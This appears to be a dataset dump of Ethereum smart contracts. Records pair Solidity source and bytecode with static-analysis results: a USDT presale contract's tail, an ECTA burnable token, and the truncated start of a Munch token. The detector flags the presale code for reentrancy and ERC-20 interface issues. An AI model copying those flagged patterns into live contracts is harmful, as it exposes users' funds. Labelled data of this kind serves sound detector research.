// for USDT
require(userUpdatedBalance.div(rate) <= allowedUserBalance, "Exceeded allowed user balance");
// usdt.transferFrom(msg.sender, address(this), _amount);
doTransferIn(address(usdt), msg.sender, _amount);
claimable[msg.sender] = userUpdatedBalance;
emit ClaimableAmount(msg.sender, tokensPurchased);
}
// function claim() external isPresaleOver {
// // it checks for user msg.sender claimable amount and transfer them to msg.sender
// require(claimable[msg.sender] > 0, "NO tokens left to be claim");
// usdc.transfer(msg.sender, claimable[msg.sender]);
// claimable[msg.sender] = 0;
// }
function doTransferIn(
address tokenAddress,
address from,
uint256 amount
) internal returns (uint256) {
INonStandardERC20 _token = INonStandardERC20(tokenAddress);
uint256 balanceBefore = INonStandardERC20(tokenAddress).balanceOf(address(this));
_token.transferFrom(from, address(this), amount);
bool success;
assembly {
switch returndatasize()
case 0 {
// This is a non-standard ERC-20
success := not(0) // set success to true
}
case 32 {
// This is a compliant ERC-20
returndatacopy(0, 0, 32)
success := mload(0) // Set success = returndata of external call
}
default {
// This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
require(success, "TOKEN_TRANSFER_IN_FAILED");
// Calculate the amount that was actually transferred
uint256 balanceAfter = INonStandardERC20(tokenAddress).balanceOf(address(this));
require(balanceAfter >= balanceBefore, "TOKEN_TRANSFER_IN_OVERFLOW");
return balanceAfter.sub(balanceBefore); // underflow already checked above, just subtract
}
function doTransferOut(
address tokenAddress,
address to,
uint256 amount
) internal {
INonStandardERC20 _token = INonStandardERC20(tokenAddress);
_token.transfer(to, amount);
bool success;
assembly {
switch returndatasize()
case 0 {
// This is a non-standard ERC-20
success := not(0) // set success to true
}
case 32 {
// This is a complaint ERC-20
returndatacopy(0, 0, 32)
success := mload(0) // Set success = returndata of external call
}
default {
// This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
require(success, "TOKEN_TRANSFER_OUT_FAILED");
}
function fundsWithdrawal(uint256 _value) external onlyOwner isPresaleOver {
// claimable[owner] = claimable[owner].sub(_value);
// usdt.transfer(_msgSender(), _value);
doTransferOut(address(usdt), _msgSender(), _value);
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063bcd2f64a11610066578063bcd2f64a146102ac578063c8d8b6fa146102da578063e3b8686514610308578063f2fde38b14610336576100f5565b8063715018a6146102305780638da5cb5b1461023a578063a43be57b1461026e578063b071cbe61461028e576100f5565b80632f48ab7d116100d35780632f48ab7d14610166578063402914f51461019a5780634738a883146101f257806359ccecc914610212576100f5565b806304c98b2b146100fa57806324f32f821461011a5780632c4e722e14610148575b600080fd5b61010261037a565b60405180821515815260200191505060405180910390f35b6101466004803603602081101561013057600080fd5b8101908080359060200190929190505050610474565b005b610150610546565b6040518082815260200191505060405180910390f35b61016e61054c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101dc600480360360208110156101b057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610572565b6040518082815260200191505060405180910390f35b6101fa61058a565b60405180821515815260200191505060405180910390f35b61021a61059d565b6040518082815260200191505060405180910390f35b6102386105a3565b005b610242610729565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610276610752565b60405180821515815260200191505060405180910390f35b61029661084c565b6040518082815260200191505060405180910390f35b6102d8600480360360208110156102c257600080fd5b8101908080359060200190929190505050610852565b005b610306600480360360208110156102f057600080fd5b8101908080359060200190929190505050610bd2565b005b6103346004803603602081101561031e57600080fd5b8101908080359060200190929190505050610d5a565b005b6103786004803603602081101561034c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e2c565b005b6000610384611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610444576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600360006101000a81548160ff021916908315150217905550600360009054906101000a900460ff16905090565b61047c611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461053c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060058190555050565b60015481565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b600360009054906101000a900460ff1681565b60025481565b6105ab611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461066b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600061075c611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461081c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600360006101000a81548160ff021916908315150217905550600360009054906101000a900460ff16905090565b60055481565b60001515600360009054906101000a900460ff161515146108be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116716022913960400191505060405180910390fd5b60006108d56001548361103f90919063ffffffff16565b9050600061092b82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110c590919063ffffffff16565b9050600554610a06600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156109bc57600080fd5b505afa1580156109d0573d6000803e3d6000fd5b505050506040513d60208110156109e657600080fd5b8101908080519060200190929190505050856110c590919063ffffffff16565b1115610a7a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4861726463617020666f722074686520746f6b656e732072656163686564000081525060200191505060405180910390fd5b600254610a92600154836110e190919063ffffffff16565b1115610b06576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f457863656564656420616c6c6f77656420757365722062616c616e636500000081525060200191505060405180910390fd5b610b33600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16338561112b565b5080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f62871c7b30027ac68155027c44a377be338ed75154b830a8b7fb419e2cb9a4533383604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b610bda611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c9a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600360009054906101000a900460ff16151514610d23576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f5468652070726573616c65206973206e6f74206f76657200000000000000000081525060200191505060405180910390fd5b610d57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d51611037565b8361145c565b50565b610d62611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e22576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060028190555050565b610e34611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f7a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116936026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b60008083141561105257600090506110bf565b600082840290508284828161106357fe5b04146110ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806116b96021913960400191505060405180910390fd5b809150505b92915050565b6000808284019050838110156110d757fe5b8091505092915050565b600061112383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611593565b905092915050565b60008084905060008573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561119a57600080fd5b505afa1580156111ae573d6000803e3d6000fd5b505050506040513d60208110156111c457600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff166323b872dd8630876040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561126657600080fd5b505af115801561127a573d6000803e3d6000fd5b5050505060003d6000811461129657602081146112a057600080fd5b60001991506112ac565b60206000803e60005191505b5080611320576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f544f4b454e5f5452414e534645525f494e5f4641494c4544000000000000000081525060200191505060405180910390fd5b60008773ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561138957600080fd5b505afa15801561139d573d6000803e3d6000fd5b505050506040513d60208110156113b357600080fd5b810190808051906020019092919050505090508281101561143c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f544f4b454e5f5452414e534645525f494e5f4f564552464c4f5700000000000081525060200191505060405180910390fd5b61144f838261165990919063ffffffff16565b9450505050509392505050565b60008390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156114d257600080fd5b505af11580156114e6573d6000803e3d6000fd5b5050505060003d60008114611502576020811461150c57600080fd5b6000199150611518565b60206000803e60005191505b508061158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f544f4b454e5f5452414e534645525f4f55545f4641494c45440000000000000081525060200191505060405180910390fd5b5050505050565b6000808311829061163f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156116045780820151818401526020810190506115e9565b50505050905090810190601f1680156116315780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161164b57fe5b049050809150509392505050565b60008282111561166557fe5b81830390509291505056fe70726573616c65206973206f76657220796f752063616e6e6f7420627579206e6f774f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220b5d6f6f8a780e82763b8f3dce656b5e1eb1d78bfc4e67d8ce92d41c99fda759f64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 9,250 |
0x23642f298e81a8be3226a41b1e3c31d7c4b81084
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract ECTAToken is BurnableToken {
string public constant name = "ECTA Token";
string public constant symbol = "ECTA";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals)); // 100 %
uint256 public constant ADMIN_ALLOWANCE = 170000000 * (10 ** uint256(decimals)); //17 %
uint256 public constant TEAM_VESTING_AMOUNT = 200000000 * (10 ** uint256(decimals)); // 20 %
uint256 public constant PLATFORM_GROWTH_VESTING_AMOUNT = 130000000 * (10 ** uint256(decimals)); // 13 %
uint256 public constant CROWDSALE_ALLOWANCE= 500000000 * (10 ** uint256(decimals)); // 50 %;
address public crowdsaleAddress; // contract with allowance of spending 50% of token supply
address public creator; // owner of tokens (except those for vesting), forbidden token transfer
address public adminAddress = 0xCF3D36be31838DA6d600B882848566A1aEAE8008; // address with allowance of spending 17% of token supply
constructor () public BurnableToken(){
creator = msg.sender;
approve(adminAddress, ADMIN_ALLOWANCE);
totalSupply_ = INITIAL_SUPPLY;
balances[creator] = totalSupply_ - TEAM_VESTING_AMOUNT - PLATFORM_GROWTH_VESTING_AMOUNT;
}
modifier onlyCreator {
require(msg.sender == creator);
_;
}
function setCrowdsaleAndVesting(address _crowdsaleAddress, address _teamVestingContractAddress, address _platformVestingContractAddress) onlyCreator external {
require (crowdsaleAddress == address(0));
crowdsaleAddress = _crowdsaleAddress;
approve(crowdsaleAddress, CROWDSALE_ALLOWANCE); // approve 50% tokens for crowdsale
balances[_teamVestingContractAddress] = TEAM_VESTING_AMOUNT; // after crowdsale init, reserved tokens for team & advisors are applied to vesting smart contract
balances[_platformVestingContractAddress] = PLATFORM_GROWTH_VESTING_AMOUNT; // after crowdsale init, reserved tokens for platform growth are applied to vesting smart contract
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(msg.sender != creator);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(msg.sender != creator);
return super.transferFrom(_from, _to, _value);
}
}
|
0x6080604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302d05d3f811461012c57806306fdde031461015d578063095ea7b3146101e757806317cdb8121461021f57806318160ddd1461024657806323b872dd1461025b5780632ff2e9dc14610285578063313ce5671461029a57806331d2f891146102c557806342966c68146102da5780635c9d0fb1146102f4578063661884631461030957806370a082311461032d57806379cc67901461034e57806395d89b4114610372578063a9059cbb14610387578063b356a3a5146103ab578063d73dd623146103c0578063dd62ed3e146103e4578063e2869f701461040b578063fc53f95814610438578063fc6f94681461044d575b600080fd5b34801561013857600080fd5b50610141610462565b60408051600160a060020a039092168252519081900360200190f35b34801561016957600080fd5b50610172610471565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ac578181015183820152602001610194565b50505050905090810190601f1680156101d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f357600080fd5b5061020b600160a060020a03600435166024356104a8565b604080519115158252519081900360200190f35b34801561022b57600080fd5b5061023461050e565b60408051918252519081900360200190f35b34801561025257600080fd5b5061023461051d565b34801561026757600080fd5b5061020b600160a060020a0360043581169060243516604435610523565b34801561029157600080fd5b50610234610551565b3480156102a657600080fd5b506102af610561565b6040805160ff9092168252519081900360200190f35b3480156102d157600080fd5b50610141610566565b3480156102e657600080fd5b506102f2600435610575565b005b34801561030057600080fd5b50610234610582565b34801561031557600080fd5b5061020b600160a060020a0360043516602435610592565b34801561033957600080fd5b50610234600160a060020a0360043516610681565b34801561035a57600080fd5b506102f2600160a060020a036004351660243561069c565b34801561037e57600080fd5b50610172610732565b34801561039357600080fd5b5061020b600160a060020a0360043516602435610769565b3480156103b757600080fd5b50610234610795565b3480156103cc57600080fd5b5061020b600160a060020a03600435166024356107a4565b3480156103f057600080fd5b50610234600160a060020a036004358116906024351661083d565b34801561041757600080fd5b506102f2600160a060020a0360043581169060243581169060443516610868565b34801561044457600080fd5b5061023461091c565b34801561045957600080fd5b5061014161092b565b600454600160a060020a031681565b60408051808201909152600a81527f4543544120546f6b656e00000000000000000000000000000000000000000000602082015281565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6aa56fa5b99019a5c800000081565b60025490565b600454600090600160a060020a031633141561053e57600080fd5b61054984848461093a565b949350505050565b6b033b2e3c9fd0803ce800000081565b601281565b600354600160a060020a031681565b61057f3382610aaf565b50565b6b019d971e4fe8401e7400000081565b336000908152600160209081526040808320600160a060020a03861684529091528120548083106105e657336000908152600160209081526040808320600160a060020a038816845290915281205561061b565b6105f6818463ffffffff610bb016565b336000908152600160209081526040808320600160a060020a03891684529091529020555b336000818152600160209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600160a060020a03821660009081526001602090815260408083203384529091529020548111156106cc57600080fd5b600160a060020a0382166000908152600160209081526040808320338452909152902054610700908263ffffffff610bb016565b600160a060020a038316600090815260016020908152604080832033845290915290205561072e8282610aaf565b5050565b60408051808201909152600481527f4543544100000000000000000000000000000000000000000000000000000000602082015281565b600454600090600160a060020a031633141561078457600080fd5b61078e8383610bc7565b9392505050565b6a6b88921f0410abc200000081565b336000908152600160209081526040808320600160a060020a03861684529091528120546107d8908363ffffffff610ca616565b336000818152600160209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600454600160a060020a0316331461087f57600080fd5b600354600160a060020a03161561089557600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0385811691909117918290556108da91166b019d971e4fe8401e740000006104a8565b50600160a060020a039182166000908152602081905260408082206aa56fa5b99019a5c8000000905591909216825290206a6b88921f0410abc2000000905550565b6a8c9ee6775415ccea00000081565b600554600160a060020a031681565b600160a060020a03831660009081526020819052604081205482111561095f57600080fd5b600160a060020a038416600090815260016020908152604080832033845290915290205482111561098f57600080fd5b600160a060020a03831615156109a457600080fd5b600160a060020a0384166000908152602081905260409020546109cd908363ffffffff610bb016565b600160a060020a038086166000908152602081905260408082209390935590851681522054610a02908363ffffffff610ca616565b600160a060020a03808516600090815260208181526040808320949094559187168152600182528281203382529091522054610a44908363ffffffff610bb016565b600160a060020a03808616600081815260016020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600160a060020a038216600090815260208190526040902054811115610ad457600080fd5b600160a060020a038216600090815260208190526040902054610afd908263ffffffff610bb016565b600160a060020a038316600090815260208190526040902055600254610b29908263ffffffff610bb016565b600255604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b60008083831115610bc057600080fd5b5050900390565b33600090815260208190526040812054821115610be357600080fd5b600160a060020a0383161515610bf857600080fd5b33600090815260208190526040902054610c18908363ffffffff610bb016565b3360009081526020819052604080822092909255600160a060020a03851681522054610c4a908363ffffffff610ca616565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60008282018381101561078e57600080fd00a165627a7a72305820f687abe2966f1a7566c2e825a1c0e0fa0b5b110919bd4bee86470dc4df5170e10029
|
{"success": true, "error": null, "results": {}}
| 9,251 |
0xab0f969564b97b9d5782ba1de52958d4979f6eb9
|
/*
* Munch contract to update our tokenomics.
* Each sending wallet can have a marketing percentage set so some
* senders give 100% to charity, others give a share to our marketing wallet.
*
* Visit https://munchproject.io
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
